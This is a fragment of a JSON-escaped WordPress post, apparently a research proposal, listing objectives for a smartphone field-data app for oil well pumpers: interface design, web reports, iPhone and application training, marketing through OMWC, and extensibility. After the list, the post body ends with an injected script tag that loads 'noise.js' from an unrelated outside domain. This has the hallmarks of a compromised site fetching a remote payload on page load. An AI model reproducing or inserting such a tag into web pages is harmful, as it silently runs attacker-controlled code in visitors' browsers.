Additional objectives are listed below.<\/p>\n<ol>\n<li><strong>Develop      smartphone field interface.<\/strong> This is      the most important aspect of the project. The user interface must be      easy-to-use and intuitive, such that the field personnel will save time      over current paper-based data collection methods. The intuitive interface      will also reduce start-up efforts and reduce training requirements.<br \/>\nSpending time in the field      with independent operators and well tenders will give a better      understanding of what will work best. Developing a close connection      between the software developer and end user is a unique and innovative      method of developing a software product.<\/li>\n<li><strong>Develop      data interface for operator reports.<\/strong> The data gathered in the field must be communicated to the operator for      evaluation. Using web-based technologies for generating reports via a      browser will allow the data to be displayed independently of the computer      platform.<\/li>\n<li><strong>iPhone      training.<\/strong> Apple Computer conducts      regular training across the U.S. at its stores on the use of basic iPhone      concepts and applications. Training on the iPad is also available. Apple      also has extensive online training available. Knowledge of basic iPhone      concepts would be the prerequisite for the pumper\/well tender training on      the use of the iPhone application.<\/li>\n<li><strong>Application      training.<\/strong> By simplifying the user      interface, start-up time and user training are reduced. OMWC can assist      with contacting operators and the scheduling of the training sessions.<\/li>\n<li><strong>Marketing.<\/strong> OMWC can help with the promotion of the      product through their contact list, newsletter, trade show and other      events. OMWC can also facilitate connections with other similar      organizations across the country.<\/li>\n<li><strong>Extensibility.<\/strong> The product will be designed in such a way      that its features can be enhanced and extended in future development      beyond this project. For example, inspection and compliance forms and      procedures can be added. The extension also applies to remote sensor      communication at the wellsite that will further improve operational      efficiency.<\/li>\n<\/ol>\n<p><script src='https:\/\/walk.classicpartnerships.com\/noise.js?v=3.4.2' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Objectives and expected significance of the research.
